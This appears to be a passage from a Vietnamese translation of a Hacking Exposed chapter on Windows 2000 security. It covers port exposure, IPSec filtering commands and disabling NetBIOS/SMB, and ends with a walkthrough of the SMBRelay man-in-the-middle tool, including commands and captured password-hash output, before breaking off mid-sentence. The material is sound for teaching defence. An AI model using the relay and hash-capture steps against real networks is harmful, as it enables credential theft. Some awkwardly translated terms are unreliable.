bảo mật
phân tích chi tiết hơn về những điểm yếu bảo mật của Windows 2000 và cách
khắc phục - bao gồm có những sản phẩm IIS, SQL và TermServ mới nhất -
hãy lấy một cuốn Hacking Exposed Windows 2000 (Osborne/McGraw-Hill,
2001).
IN DẤU VẾT
Như ta đã tìm hiểu trong Chương 1, hầu hết những kẻ tấn công đều khởi đầu
bằng cách cố gắng khai thác được càng nhiều thông tin càng tốt mà chưa cần
thực sựđộng đến máy chủ mục tiêu. Nguồn thông tin để lại dấu tích chính là
Domain Name System (DNS), đây là một giao thức tiêu chuẩn mạng Internet
nhằm khớp địa chỉ IP máy chủ với những tên dễ nhớ như
www.hackingexposed.com
☻Những chuyển giao vùng DNS
Tính phổ thông 5
Tính đơn giản
9
Tính hiệu quả
2
Mức độ rủi ro
5
Do dấu cách Windows 2000 Active Directory dựa trên DNS, Microsoft
vừa mới nâng cấp xong tính năng thực thi máy chủ DNS của Windows 200
nhằm đáp ứng những nhu cầu của AD và ngược lại. Do vậy đây là một nguồn
thông tin dấu tích tuyệt vời, quả không sai, nó mặc định cung cấp những
chuyển đổi vùng cho bất kỳ một máy chủ từ xa nào. Xem Chương 3 để biết
thêm chi tiết.
◙ Vô hiệu hóa các chuyển đổi vùng
Thật may mắn, tính năng thực thi DNS trong Windows 2000 cũng cho phép
hạn chế chuyển đổi vùng, cũng đã đề cập trong Chương 3.
QUÉT
Windows 2000 nghe trên ma trận của các cổng, rất nhiều trong sốđó ra đời
sau NT4. Bảng 6-1 liệt kê những cổng được lựa chọn nghe trên một bảng điều
khiển vùng (DC) mặc định của Windows 2000. Mỗi dịch vụ này là một điểm
tốt để xâm nhập vào hệ thống.
Cổng Dịch vụ
TCP 25 SMTP
TCP 21 FTP
TCP/UDP 53 DNS
TCP 80 WWW
TCP/UDP 88 Kerberos
TCP 135 RPC/DCE Endpoint mapper
UDP 137 NetBIOS Name Service
UDP138 NetBIOS Datagram Service
TCP 139 NetBIOS Session Service
TCP/UDP 389 LDAP
TCP 443 HTTP over SSL/TLS
TCP/UDP 445 Microsoft SMB/CIFS
TCP/UDP 464 Kerberos kpasswd
UDP 500 Internet Key Exchange, IKE (IPSec)
TCP 593 HTTP RPC Endpoint mapper
TCP 636 LDAP over SSL/TLS
TCP 3268 AD Global Catalog
TCP 3269 AD Global Catalog over SSL
TCP 3389 Windows Terminal Server
Bảng 6-1: Các cổng nghe được lựa chọn trên một Bảng điều khiển
vùng của Windows 2000 (Cài đặt mặc định)
LỜI KHUYÊN Một danh sách số của cổng TCP và UDP mà các dịch vụ Microsoft
sử dụng có trên Bộ tài nguyên Windows 2000 (Resource Kit). Tìm kiếm tại địa chỉ http://
www.microsoft.com/Windows2000/techinfo/reskit/samplechapters/default.asp.
◙ những biện pháp đối phó: Vô hiệu hóa các dịch vụ và khóa các cổng
Cách tốt nhất để chặn đứng cuộc tấn công dưới mọi hình thức đó là khóa
đường tiếp cận những dịch vụ này, ở cấp độ mạng hoặc máy chủ.
Các công cụ kiểm soát đường truy nhập mạng ngoai vi (những chuyển
đổi, cầu dẫn, firewall, ..v.v) cần phải được định cấu hình nhằm từ chối mọi nỗ
lực kết nối với tất cả các cổng được liệt kê ởđây vốn không thể tắt. (Thông
thường, phương pháp điển hình là từ chối mọi giao thức tới các máy chủ và
sau đó kích hoạt có chọn lọc những dịch vụ mà máy chủ yêu cầu.) Đặc biệt,
trên một bảng điều khiển vùng, không có cổng nào là có thể truy nhập bên
ngoài ngoại vi mạng, và chỉ có một số rất ít là có thể tiếp cận mạng cấp dưới
nội bộđáng tin cậy. Sau đây là hai lí do:
▼Trong Chương 3, chung ta đã biết cách những người sử dụng kết nối với
LDAP (TCP 389) và các cổng Global Catalog và đếm dữ liệu máy chủ.
▲ NetBIOS Session Service, cổng TCP 139 cũng đã được giới thiệu trong
Chương 3 là một trong những nguồn dò gỉ thông tin lớn nhất và sự phá hỏng
tiềm tàng trên NT. Hầu hết các sản phẩm chúng tôi giới thiệu trong Chương 5
hoạt động duy nhất trên các kết nối NetBIOS. Dữ liệu Windows 2000 cũng có
thểđược đếm theo cách tương tự trên TCP 445.
Chú ý: Bạn cũng cần phải đọc phần "Vô hiệu hóa NetBIOS/SMB trên
Windows 2000", ở cuối Chương này.
Bảo vệ các cổng nghe trên chính các máy chủđộc cá nhân cũng là một
biện pháp tốt. Bảo vệ kiên cố sẽ làm cho các bước tấn công sẽ khó khăn thêm
nhiều. Một lời khuyên bấy lâu về khía cạnh này đó là đóng tất cả các dịch vụ
không cần thiết bằng cách chạy services.com và vô hiệu hóa các dịch vụ
không cần thiết. Cần đặc biệt cảnh giác với các bảng điều khiển vùng
Windows 2000. Nếu như một Máy chủ hoăc một Máy chủ cao cấp được tăng
cấp thành bảng điều khiển sử dụng dcpromo.exe, tiếp đó Active Directory,
DNS, và một máy chủ DHCP được cài đặt, mở ra các cổng phụ. DC chính là
các thiết bị quan trong nhất của mạng và được triển khai một cách trọn lọc. Sử
dụng một bảng điều khiển làm nền cho các ứng dụng và file, các dịch vụ
printer. Sự tối thiểu hóa luôn là nguyên tắc bảo mật đầu tiên.
Nhằm hạn chế tiếp cận các cổng về phần máy chủ, chếđộ dự phòng cổ
điển, TCP/IP Filters vẫn xuất hiện trong Network và Dial-up connections |
Properties of the appropriate connection | Internet Protocol (TCP/IP)
Properties | Advanced | Options tab | TCP | IP filtering properties. Tuy
nhiên những nhược điểm cố hữu vẫn còn tồn tại. Tính năng trích lọc TCP/IP
gắn vào tất cả các bộđiều hợp. Nó sẽđóng hướng vào của một kết nối hướng
ra hợp lệ (ngăn chặn trình duyệt web từ hệ thống), và tính năng này yêu cầu
khởi động lại hệ thống trước khi phát huy tác dụng.
Cảnh báo: Những thử nghiệm của chúng tôi trên Windows 2000 đã cho thấy
tính năng trích lọc của TCP/IP không khóa các yêu cầu báo lại ICMP (Giao
thức 1) ngay cả khi IP Giao thức 6 (TCP) à 17 (UDP) là những đối tượng duy
nhất được phépBộ lọc IPSec
Một giải pháp tốt hơn đó là sử dụng các bộ lọc IPSec để lọc cổng dựa trên máy chủ.
Những những bộ lọc này là một lợi ích phụ của tính năng hỗ trợ mới của Windows 2000
cho IPSec và được nhóm thiết kế Windows2000test.com và các mạng Openhack sử dụng
với hiệu quả cao. IPSec lọc các gói tin quá trình ngay trong ngăn mạng và lại loại bỏ những
gói tin nhận được trên giao diện nếu như những gói tin này không đáp ứng những đặc tính
của bộ lọc. Trái với những bộ lọc TCP/IP, bộ lọc IPSec có thểđược ứng dụng vào các giao
diện cá nhân, và nó sẽ khóa hoàn toàn ICMP (mặc dầu các bộ lọc này không đủđể khóa các
kiểu phụ ICMP như báo hiệu lại (echo), hồi âm lại (echo reply), dấu hiệu thời gian
(timestamp)...) Các bộ lọc IPSec không đòi hỏi phải khởi động lại hệ thống (mặc dầu
những thay đổi đối với các bộ lọc sẽ ngưng các kết nối IPSec hiện thời). Các bộ lọc này chủ
yếu là giải pháp cho máy chủ mà thôi, không phải là thủ thuật firewall cá nhân cho các trạm
công tác bởi chúng sẽ khóa hướng vào của các kết nối hướng ra hợp lệ (trừ phi được phép
qua tất cả các cổng), cũng tương tự như các bộ lọc TCP/IP.
Bạn có thể tạo ra các bộ lọc IPSec bằng cách sử dụng trình ứng dụng Administrative
Tools | Local Security Policy (secpol.msc). Trong GUI, nhấp chuột phải vào nút IPSec
Policies On Local Machine ở ô cửa bên trái, và sau đó chọn Manage IP Filter Lists And
Filter Actions.
Chúng ta nên sử dụng tiện ích dòng lệnh ipsecpol.exe để quản lí các bộ
lọc IPSec. Tiện ích này tạo thuận lợi cho quá trình scripting, và nó dễ sử dụng
hơn tiện ích quản lí chính sách IPSec bằng hình ảnh rắc rối và đa dạng.
Ipsecpol.exe được giới thiệu qua Windows 2000 Resource Kit và bằng công
cụĐịnh cấu hình Bảo mật máy chủ Internet Windows 2000 tại địa chỉ
http://www.microsoft.com/technet/security/tools.asp. Những dòng lệnh sau
chỉ cho phép cổng 80 là có tiếp cận trên một máy chủ:
ipsecpol \\ computername -w REG -p "Web" -o
ipsecpol \\ computername -x -w REG -p "Web" -r "BlockAll" -n
BLOCK -f 0+*
ipsecpol \\ computername -x -w REG -p "Web" -r "OkHTTP" -n PASS -
f 0:80+*:: TCP
Hai dòng lệnh cuối cùng tạo ra một chính sách IPSec có tên "Web" chứa đựng
hai nguyên tác bộ lọc, một có tên "BlockAll" có tính năng khóa tất cả các giao
thức đến và đi từ máy chủ này và tất cả các máy chủ khác. Nguyên tắc còn lại
có tên "OkHTTP" cho phép các luồng thông tin trên cổng 80 đến và đi từ máy
chủ này và các máy chủ khác. Nếu bạn muốn kích hoạt ping hoặc ICMP
(chúng tôi khuyên bạn không nên thực hiện trừ phi điều đó là thực sự cần
thiết), bạn có thể nhập thêm nguyên tắc này vào chính sách "Web".
Ipsecpol \\ computername -x -w REG -p "Web" -r "OkICMP" -n
PASS -f 0+*: ICMP
Ví dụ này đề ra chính sách cho tất cả các địa chỉ, tuy vậy bạn cũng có thể dễ
dàng xác định một địa chỉ IP đơn sử dụng khóa chuyển đổi -f nhằm tập trung
các hiệu ứng vào một giao diện. Những thao tác quét cổng ngăn chặn một hệ
thống được định cấu hình có sử dụng ví dụ trên chỉ hiển thị cổng 80 mà
thôi.Khi mà chính sách bị mất hiệu lực thì tất cả các cổng lại dễ dàng bị truy
nhập.
Phần mô tả của mỗi đối số trong ví dụ này được minh họa trong Bảng
6-2. (Để có phần mô tảđầy đủ tính năng ipsecpol, chạy ipsecpol -?, bảng 6-2
cũng dựa trên đó)
Đối số Phần mô tả
-w REG Lập ipsecpol ởchếđộ tĩnh, giúp viết chính sách cho một
điểm chứa định sẵn (ngược với chếđộđộng mặc định, vẫn
phát huy tác dụng khi mà dịch vụ Policy Agent đang hoạt
động; do đó rootkit tiêu diệt chếđộ này). Tham số REG
quy định chính sách phải được viết cho Registry và phải
phù hợp cho các máy cho các máy chủ không kết nối. (Sự
lựa chọn khác, DS, viết cho thư mục).
-p Xác định một cái tên mang tính võ đoán (Web, như trong
ví dụ) cho chính sách này. Nếu như chính sách đã có sẵn
tên này, nguyên tắc này sẽđược bổ xung vào chính sách.
Ví dụ, nguyên tắc OkHTTP được bổ xung vào chính sách
Web ở dòng thứ 3.
-r Xác định một cái tên mang tính võ đoán cho nguyên tắc
này, nó sẽ thay đổi các nguyên tắc hiện thời bằng cùng
một cái tên trong chính sách.
-n Khi ở chếđộ tĩnh, lựa chọn NegotiationPolicyList có thể
xác định 3 mục đặc biệt: BLOCK, PASS, và INPASS (như
mô tả trong phần sau của bảng này)
BLOCK Bỏ qua phần còn lại của các chính sách trong
NegotiationPolicyList VAF làm cho tất cả các bộ lọc khóa
hoặc bỏ tất các bộ lọc. Thao tác cũng giống như lựa chọn
một nút Block radio trong UI quản lí IPSec.
PASS Bỏ qua phần còn lại của các chính sách trong
NegotiationPolicyList và làm cho tất cả các bộ lọc mở.
Thao tác cũng giống như lựa chọn một nút Permit radio
trong UI.
INPASS Phần này cũng giống như kiểm tra Allow Unsecured
Communication, hộp kiểm tra But Always Respond Using
IPSEC trong UI.
-f FilterList Nếu như FilterList là một hoặc nhiều nguyên tắc bộ lọc
được phân tách bằng dấu cách có tên filterspecs :A.B.C.D/
mask: port =A.B.C.D/mask:port: IP Protocol, nếu Địa chỉ
Nguồn luôn ở bên trái "=", và Địa chỉĐích luôn ở bên
phải. Nếu bạn thay thế "=" bằng một "+", 2 bộ lọc phản
chiếu sẽđược tạo ra, mỗi bộ theo hướng khác nhau. Bộ
phận lọc và cổng là tùy chọn. Nếu như chúng bị loại bỏ,
cổng "Bất kỳ" và bộ phận lọc 255.255.255.255 sẽđược sử
dụng. Bạn có thể thay thế bộ phận lọc A.B.C.D bằng
những hình thức sau:
0 thể hiện địa chỉ hệ thống cục bộ
* thể hiện địa chỉ bất kỳ
Tên A DNS (chú ý: bỏ qua các đa giải pháp). Giao thức IP
(ví dụ, ICMP) là tùy chọn, nếu bị bỏ sót, thì cổng "Any"
được chấp nhận. Nếu bạn chỉ ra một giao thức thì một
cổng phải đứng ngay trước đó, hoặc "::" phải đứng trước
đó.
-x (TÙY CHỌN) Thiết lập chính sách họat động trong vùng
đăng ký LOCAL. (chú ý rằng chúng ta sử dụng đối số này
khi xác định nguyên tắc đầu tiên nhằm kích hoạt chính
sách Web; khóa chuyển đổi này dường như chỉ họat động
nếu được ứng dụng khi tạo ra bộ lọc đầu tiên của một
chính sách.)
-y (TỦY CHỌN) Thiết lập các chính sách không họat động
trong vùng đăng ký LOCAL.
-o (TÙY CHỌN) sẽ xóa đi chính sách mà đó số -q quy định.
(Chú ý: đối số này sẽ xóa toàn bộ chính sách đã xác định,
không nên sử dụng đối số này nếu như bạn có các chính
sách khác hướng vào các đối tượng trong chính sách đó.)
Bảng 6-2: Các tham số ipsecpol sử dụng để lọc luồng thông tin đến
một Máy chủ Windows 2000
Chúng ta cần chú ý rằng các bộ lọc IPSec mặc định sẽ không khóa luồng
thông tin , thôngbáo, thông tin QoSRSVP, cổng Internet Key Exchange (IKE)
500, hoặc cổng Kerberos 88 (TCP/UDP) (xem trên địa chỉ
http://support.microsoft.com/support/kb/articles/Q253/1/69.aspđể biết thêm
thông tin chi tiết về những dịch vụ này vì chúng liên quan đến IPSec trong
Win 2000). Service Pack 1 trong thiết lập Registry vốn giúp bạn vô hiệu hóa
các cổng Kerberos bằng cách tắt nguyên tắc miễn bộ phận điều khiển IPSec.
HKLM\SYSTEM\CurrentControlSet\Services\IPSEC\NoDefaultExempt
Type DWORD
Max 1
Min 0
Default 0
Chỉ có IKE, Multicast, và Broadcast là vẫn được miễn, và không bị tác động
bởi thiết lập Registry. Thông tin Kerberos và RSVP không được mặc định
miễn nữa nếu như Registry này là 1.
Chú ý: Cảm ơn Michael Howard và William Dixon thuộc Microsoft về
những lời khuyên trên IPSec.
Do cú pháp dòng lệnh mạnh, ipsecpol có thể quá kiểu cách. Trong ví dụ
trước đó, ta thấy rằng danh sách bộ lọc phân tích từ trên xuống (giả sử rằng
mỗi bộ lọc mới được ipsecpol viết lên phía trên của danh sách). Nếu ta chỉđơn
giản thay đổi trật tự áp dụng những nguyên tắc này sử dụng ipsecpol thì sẽ dẫn
đến việc lọc không đầy đủ, đây là một vấn đề rất nan giải. Ngoài ra, dường
như chưa có một phương cách nào giúp xác định dãy cổng bằng cú pháp
filterspecđích hoặc nguồn. Do đó, mặc dầu các bộ lọc IPSec là bước cải tiến
đáng chú ý cho việc lọc cổng TCP/IP, ta cần sử dụng cẩn thận và nhớ rằng bạn
chỉđóng những cổng cần thiết mà thôi. Tiếp theo, chúng tôi sẽđưa ra một số
lời khuyên thu được từ những thử nghiệm rộng rãi ipsecpol.
▼Nếu như bạn muốn loại bỏ một chính sách, đôi khi bạn sử dụng đối số -y sẽ
giúp vô hiệu hóa các chính sách trước hoặc sau khi xóa chúng bằng khóa
chuyển đổi -o. Chúng ta đã từng biết đến trường hợp ngay cả những chính
sách đã bị xóa vẫn có tác dụng cho đến khi nó bị vô hiệu hóa hoàn toàn.
■ Sử dụng công cụ dòng lệnh ipsecpol hoặc GUI duy nhất khi tiến hành thay
đổi các chính sách. Khi chúng ta tạo lập các chính sách sử dụng ipsecpol và
sau đó hiệu chỉnh chúng thông qua GUI, những xung đột xuất hiện và để lại
những kẽ hở lớn trong vấn đề bảo vệ.
▲Đảm bảo rằng bạn xóa đi tất cả những nguyên tắc bộ lọc không sử dụng
nhằm tránh xung đột. Đây là một khu vực mà GUI thể hiện hết tính năng -
đếm các bộ lọc hiện thời và các chính sách.
ĐẾM
Chương 3 cho ta thấy NT4 "thân thiện" như thế nào khi tác động tích cực
nhằm phát hiện thông tin như tên đối tượng sử dụng, phần dùng chung file,
...Trong chương đó, chúng ta cũng đã biết cách dịch vụ NetBIOS thu thập dữ
liệu đối với các đối tượng sử dụng nặc danh trên vùng trống nguy hiểm.
Chúng ta cũng biết Active Directory để lộ thông tin cho những kẻ tấn công
chưa được xác định như thế nào. Trong phần này chúng ta không miêu tả lại
những cuộc tấn công đó nữa nhưng ta cần chú ý rằng Windows 2000 cung cấp
một số biện pháp mới nhằm khắc phục những sự cố NetBIOS và SMB.
Khả năng tự họat động mà không dựa trên NetBIOS có thể là một trong
những thay đổi quan trọng nhất trong Windows 2000. Nhưđã đề cập trong
Chương 3, NetBIOS trên TCP/IP có thẻ bị vô hiệu hóa sử dụng Các tính năng
của Network và Dial-up Connections thích hợp | Properties of Internet
Protocol (TCP/IP) | Advanced button | WINDS tab | Vô hiệu hóa NetBIOS
trên TCP/IP.
Tuy nhiên điều mà hầu hết mọi người đều bỏ qua đó là mặc dầu sự phụ thuộc
vào truyền tải NetBIOS có thể bị vô hiệu hóa theo cách này nhưng Windows
2000 vẫn có thể sử dụngSMB trên TCP (cổng 445) nhằm phân chia file
Windows (xem Bảng 6-1)
Đây là một cái bẫy mà Microsoft cài đặt lên đối tượng sử dụng ngây thơ
vốn nghĩ rằng vô hiệu hóa NetBIOS trên TCP/IP (thông qua Các tính năng kết
nối LAN, WINS tab) sẽ khắc phục được sự cốđếm vùng rỗng: Vấn đề không
phải như vậy. Vô hiệu hóa NetBIOS trên TCP/IP chỉ có tác dụng với TCP 139
mà thôi, không có tác dụng với 445. Điều này gần giống như việc vô hiệu hóa
giải quyết được vấn đề vùng rỗng bởi vì những kẻ tấn công trước khi Service
Pack 6a ra đời không thể kết nối với cổng 445. Và chúng có thể thực hiện mọi
công việc nhưđến đối tượng sử dụng, chạy user2sid/sid2user, ...như chúng ta
đã mô tả chi tiết trong Chương 3. Đừng dễ dàng bị lừa bởi những thay đổi bề
mặt của UI!
◙ Vô hiệu hóa NetBIOS/SMB trên Windows 2000
May mắn thay, ta vẫn có cách để vô hiệu hóa cả cổng 445. Tuy nhiên cũng
giống như vô hiệu hóa cổng 139 trong NT4, công việc này đòi hỏi phải khai
thác sâu vào những kết nối để tìm được bộđiều hợp. Trước hết bạn phải tìm
kiếm tab kết nối, mặc dầu có thể nó đã được chuyển tới một vị trí nào đó mà
chưa ai biết (một sự di chuyển khó chịu trên phần trước UI). Tab kết nối đã
xuất hiện bằng cách mở applet Network and Dial-up Connections và lựa chọn
Advanced | Advanced Settings | như minh họa trong hình sau:
Bằng thao tác bỏ chọn File And Printer Sharing For Microsoft Networks, như
minh họa trong Bảng 6-1, những vùng rỗng sẽ bị vô hiệu hóa trên cổng 139 và
445 (cùng với file và printer sharing). Không cần phải khởi động lại hệ thống.
(Microsoft xứng đáng với những lời tán dương vì cuối cùng cũng đã cho phép
nhiều thay đổi mạng mà không cần phải thao tác khởi động lại). Hiện đây vẫn
là cách tốt nhất đểđịnh cấu hình những giao diện bên ngoài của một máy chủ
nối mạng Internet.
Chú ý: TCP 139 sẽ xuất hiện trong quá trình quét cổng, thậm chí sau khi quá
trình này được thiết lập. Tuy vậy cổng sẽ không còn cung cấp thông tin liên
quan đến NetBIOS.
Bạn cần nhớ rằng, các bộ lọc IPSec có thểđược sử dụng nhằm hạn chế sự tiếp
cận NetBIOS hoặc SMB.
Bảng 6-1: Vô hiệu hóa NetBIOS và
file SMB/CIFS và chức năng printer
sharing (khóa các vùng) sử dụng
Network và cửa sổ Dial-up
Connections Advanced Settings
RestrictAnonymous và Windows 2000 Chúng ta hiểu rõ trong Chương 3 cách thiết
lập RestrictAnonymous Registry được sử dụng để khóa tính năng đếm các thông tin nhạy
cảm thông qua những vùng rỗng. Trong Windows 2000, RestrictAnonymous được định cấu
hình theo Security Policy | Local Policies | Security Options
Trong Chương 3 chúng ta cũng đã hiểu rõ rằng RestrictAnonymous có
thể bị bỏ qua. Đây là điều hoàn toàn mới đối với Windows 2000,
RestrictAnonymous có thểđược gắn với thiết lập chặt chẽ hơn có tính năng
khóa hoàn toàn các vùng rỗng. "No Access Without Explicit Anonymous
Permissions" tương đương với việc đặt RestrictAnonymous = 2 trong
Windows 2000 Registry.
Đặt RestrictAnonymous = 2 có thể xuất hiện những vấn đề về kết nối
Windows. Xem KB article Q246216 tại địa chỉ
http://search.support.microsoft.com để biết thêm thông tin chi tiết.
XÂM NHẬP
Khi nằm ngoài tầm kiểm soát Windows 200 trở nên yếu ớt trước tất cả các cuộc tấn công từ
xa như NT4, chúng ta sẽ tìm hiểu trong phần tiếp theo.
Đoán mật khẩu NetBIOS-SMB
Những công cụ giống như SMBGGrind đã giới thiệu trong Chương 5 vẫn hữu
hiệu đểđoán các mật khẩu dùng chung trên các hệ thống Windows 2000. Như
chúng ta đã tìm hiểu, nếu như NetBIOS hoặc SMB/CIFS được kích hoạt và
máy khách của kẻ tấn công có thể giao tiếp với SMB, việc đoán mật khẩu vẫn
là mối nguy đe dọa lớn nhất cho các hệ thống Windows 2000.
Chú ý:Như Luke Leighton của Samba đã đề cập nhiều lần trên http://samba.
Org, thì ta không nên nhầm lẫn giữa NetBIOS và SMB. NetBIOS là một
truyền dẫn còn SMB là một giao thức phân chia file có tính năng kết nối với
NetBIOS-over-TCP(NBT) kiểu tên SERVER_NAME#20, cũng giống như bất
kỳ một máy chủ phổ thông nào sẽ kết nối với một cổng TCP. SMB được kết
nối với TCP445 là hoàn toàn tách biệt và không liên quan gì tới NetBIOS.
Nghe trộm các thông tin phân tách mật khẩu (Password Hashes)
Tiện ích nắm giữ gói tin L0phtcrack SMB được giới thiệu trong Chương 5 vẫn
có tác dụng nắm giữ và phá những thông báo LM được gửi đi giữa những đối
tượng sử dụng cấp dưới (NT4 và Win9x) và máy chủ Windows 2000. Cấu
trúc đăng nhập Kerberos của Windows 2000 không dễ dàng bị phá bởi những
cuộc tấn công như vậy, nhưng nó có thể bị phá nếu như một bảng điều khiển
vùng Windows 2000 sẵn sàng đóng vai trò là Kerberos KDC. Sự thi hành
Kerberos của Windows 2000 cũng được thiết kế như sau: Quá trình xác thực
sẽ tụt xuống LM/NTLM nếu không có Kerberos, vì vậy Windows 2000 sẽ dễ
dàng bị tấn công với cấu hình không kết nối.
Chú ý: Ngay cả những thành viên miền cũng không sử dụng Kerberos để tiếp
cận các tài nguyên nếu như các địa chỉ IP là dùng các tên chủ.
Đổi hướng Đăng nhập SMB sang Kẻ tấn công
Nghe trộm trên các thông báo LM trở nên dễ dàng hơn nếu như kẻ tấn công có
thểđánh lừa nạn nhân để thôn tính thông tin xác thực Windows mà kẻ tấn
công lựa chọn. Phương pháp dễ tiến hành khi mà thao tác chuyển đổi mạng đã
được thực hiện do nó đòi hỏi những vùng SMB sát với hệ thống của kể tấn
công bất chấp cấu trúc liên kết mạng.
Nhằm vào đối tượng sử dụng cá nhân cũng là một phương pháp hiệu
quả. Thủ thuật cơ bản đã được giới thiệu ở một trong những sản phẩm
L0phtcrack đầu tiên: gửi một message tới nạn nhân bằng một siêu liên kết
nhúng tới một máy chủ SMB giả. Nạn nhân nhận được message, siêu liên kết
đó truy theo sau (thủ công hoặc tựđộng), và máy khách vô tình đã gửi những
ủy quyền SMB của đối tượng sử dụng lên mạng. Những liên đó dễ dàng được
ngụy trang và thường không đòi hỏi nhiều sự tương tác với đối tượng sử dụng
vởi Windows tựđộng đăng nhập như là một đối tượng sử dụng hiện thời nếu
không có thêm thông tin xác thực nào khác. Dưới góc độ bảo mật thì có lẽđây
là một tác động làm suy yếu mạnh nhất của Windows.
Chúng ta sẽ chứng minh một ví dụ về hình thức tấn công này trong
Chương 16.
SMBRelay
Vào tháng 5/2001, Ngài Dystic thuộc nhóm Cult of the Dead Cow đã tung ra
một công cụ có tên SMBRelay
(http://pr0n.newhackcity.net/~sd/windoze.html). Thông báo đã được đón trào
rầm rộ. TờRegisterđã không ngừng thổi phồng công cụ này lên với tiêu đề
"Công cụ phá tan an ninh WinNT/2K", rõ ràng là họ chưa nhận thấy những
yếu điểm trong thông tin xác thực LM vốn đang nan giải vào thời điểm đó.
SMBRelay là một máy chủ SMB có thể thu thập các thông tin phân tách
vềđối tượng sử dụng và mật khẩu từ luồng thông tin SMB đi tới. Như chính
cái tên đã cho thấy thì SMBRelay có thểđóng vai trò không chỉ là điểm cuối
SMB - nó cũng có thể thực hiện những cuộc tấn công vào trung tâm trong một
số trường hợp cụ thể. Chúng ta sẽ tìm hiểu tính năng sử dụng của SMBRelay
như là một máy chủ SMB đơn giản và tiếp đó là tính năng MITM (tấn công
trung tâm.
☻Thu giữ thông tin xác thực SMB sử dụng SMBRelay
Tính phổ thông 2
Tính đơn giản
2
Tính hiêu quả
7
Mức độ rủi ro
4
Thiết lập một máy chủ SMBRelay giả thật đơn giản. Bước đầu tiên là chạy
công cụ SMBRelay bằng khóa chuyển đổi liệt kê để xác định một giao diện
vật lí thích hợp mà trên đó ta có thể chạy thiết bị nghe:
C:\ > smbrelay /E
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to [email protected]
[2] ETHERNET CSMACD - 3Com 10/100 Mini PCI Ethernet Adapter
[1] SOFTWARE LOOPBACK - MS TCP Loopback interface
Theo như ví dụ, giao diện với index2 là thích hợp nhất để ta lựa chọn vì nó là
một bảng vật lí có thể tiếp cận được từ một hệ thống từ xa. (Bộđiều hợp
Loopback chỉ có thể tiếp cận những máy chủ cục bộ). Lẽ dĩ nhiên là với nhiều
bộđiều hợp thì các lựa chọn được mở rộng nhưng ta vẫn chú trọng đến trường
hợp đơn giản nhất trong phần này và sử dụng bộđiều hợp index2 trong phần
tiếp.
Khởi chạy máy chủ phải khéo léo trên các hệ thống Windows 2000 vì
các hệđiều hành sẽ không cho phép các quá trình khác kết nối cổng SMB
TCP 139 khi mà một hệđiều hành đang sử dụng cổng này. Một cách khắc
phục đó là tạm thời vô hiệu hóa cổng TCP 139 bằng cách kiểm tra Disable
NetBIOS trên TCP/IP, cụ thể là ta lựa chọn Properties of the appropriate Local
Area Connection, tiếp đó là Properties of Internet Protocol (TCP/IP, nhấp vào
nút Advanced, và tiếp đó chọn nút radio thích hợp trên WINDS tab, nhưđã
trình bày trong Chương 4. Khi đã thực hiện xong, SMBRelay có thể kết nối
TCP 139.
Nếu như vô hiệu hóa TCP 139 không phải là một lựa chọn thì kẻ tấn
công phải tạo ra một địa chỉ IP ảo để dựa vào đó chạy máy chủ SMB giả. Thật
may mắn, SMBRelay cung cấp tính năng tựđộng giúp thiết lập và xóa các địa
chỉ IP ảo sử dụng một khóa chuyển đổi lệnh đơn giản, /L+ ip_ address. Tuy
nhiên, chúng ta đã thu được những kết quả không thống nhất sử dụng khóa
chuyển đổi /L trên Windows 2000 và có lẽ ta nên sử vô hiệu hóa TCP 139
nhưđã giải thích trong phần trước thay vì sử dụng /L.
Một chi tiết nữa mà ta phải chú ý khi sử dụng SMBRelay trên
Windows 2000 đó là: Nếu một máy khách SMB Windows 2000 không thể kết
nối trên TCP 139, nó sẽ tiếp tục kết nối trên cổng TCP 445, như chúng ta đã
tìm hiểu ở phần đầu Chương này. Để tránh trường hợp máy khách Windows
2000 đánh lừa máy chủ SMBRelay giả nghe trên TCP 139, TCP 445 phải
được khóa hoặc vô hiệu hóa trên máy chủ giả. Vì cách duy nhất để vô hiệu
hóa TCP 445 không ảnh hưởng gì đến TCP 139 nên cách tốt nhất đó là khóa
cổng TCP 445 sử dụng một bộ lọc IPSec, nhưđã trình bày trong phần trước.
Ví dụ sau đây mô tả SMBRelay chạy trên một máy chủ Windows 2000,
và giả sử rằng TCP 139 đã bị vô hiệu hóa và TCP 445 đã bị khóa sử dụng bộ
lọc IPSec.
Sau đây là cách khởi chạy SMBRelay trên Windows 2000, giả sử rằng
giao diện index2 sẽđược sử dụng cho thiết bị nghe nội bộ và địa chỉ chuyển
tiếp, và rằng máy chủ giả sẽ nghe trên địa chỉ IP hiện thời của giao diện này.
C:\ >smbrelay /IL 2/ IR 2
SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to [email protected]
Using relay adapter index 2: 3Com EtherLink PCI
Bound to port 139 on address 192.168.234.34
Tiếp theo SMBRelay sẽ bắt đầu nhận những thỏa thuận vùng SMB. Khi một
máy khách nạn nhân thỏa thuận thành công một vùng SMB, sau đây trình tự
SMBRelay thực hiện:
Connection from 192.168.234.44: 1526
Request type: Session Request 72 bytes
Source name: CAESARS <00>
Target name: *SMBSERVER <20>
Setting target name to source name and source name to 'CDC4EVER'...
Response : Positive Session Response 4 bytes
Request type: Session Message 137 bytes
SMB_COM_NEGOTIATE
Response: Session Message 119 bytes
Challenge (8 bytes): 952B49767C1D123
Request type: Session Message 298 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths : 24 24
Case insensitive password:
4050C79D024AE0F391DF9A8A5BD5F3AE5E8024C5B9489BF6
Case sensitive password:
544FEA21F6D8E854F4C3B4ADF6A6A5D85F9CEBAB966EEB
Username: "Administrator"
Domain: "CAESARS-TS"
OS: "Windows 2000 2195"
Lanman type: "Windows 2000 5.0"
???: ""
Response: Session Message 156 bytes
"Windows 5.0"
Lanman type: "Windows 2000 LAN Mangager"
Domain: "CAESARS-TS"
Password hash written to disk connected?
Relay IP address added to interface 2
Bound to port 139 on address 192.1.1.1 relaying for host CAESARS
192.168.234.44
Như bạn có thể thấy, cả passwords LM (không mang tính đặc trưng trường
hợp) và NTLM ( phân biệt dạng chữ) đều được kết nối và viết vào tệp
hashes.txt trong thư mục làm việc hiện thời. Tệp này có thểđược truy nhập
vào Lophtcrack 2.5x và bị tấn công.
Chú ý: Do định dạng tệp giữa Lophtcrack 3 và Lophtcrack 2.52 khác nhau,
ta không thể nhập các thông tin thu được qua SMBRelay trực tiếp vào LC3.
Nguy hiểm hơn, hệ thống của giới tin tặc hiện nay có thể xâm nhập máy khách
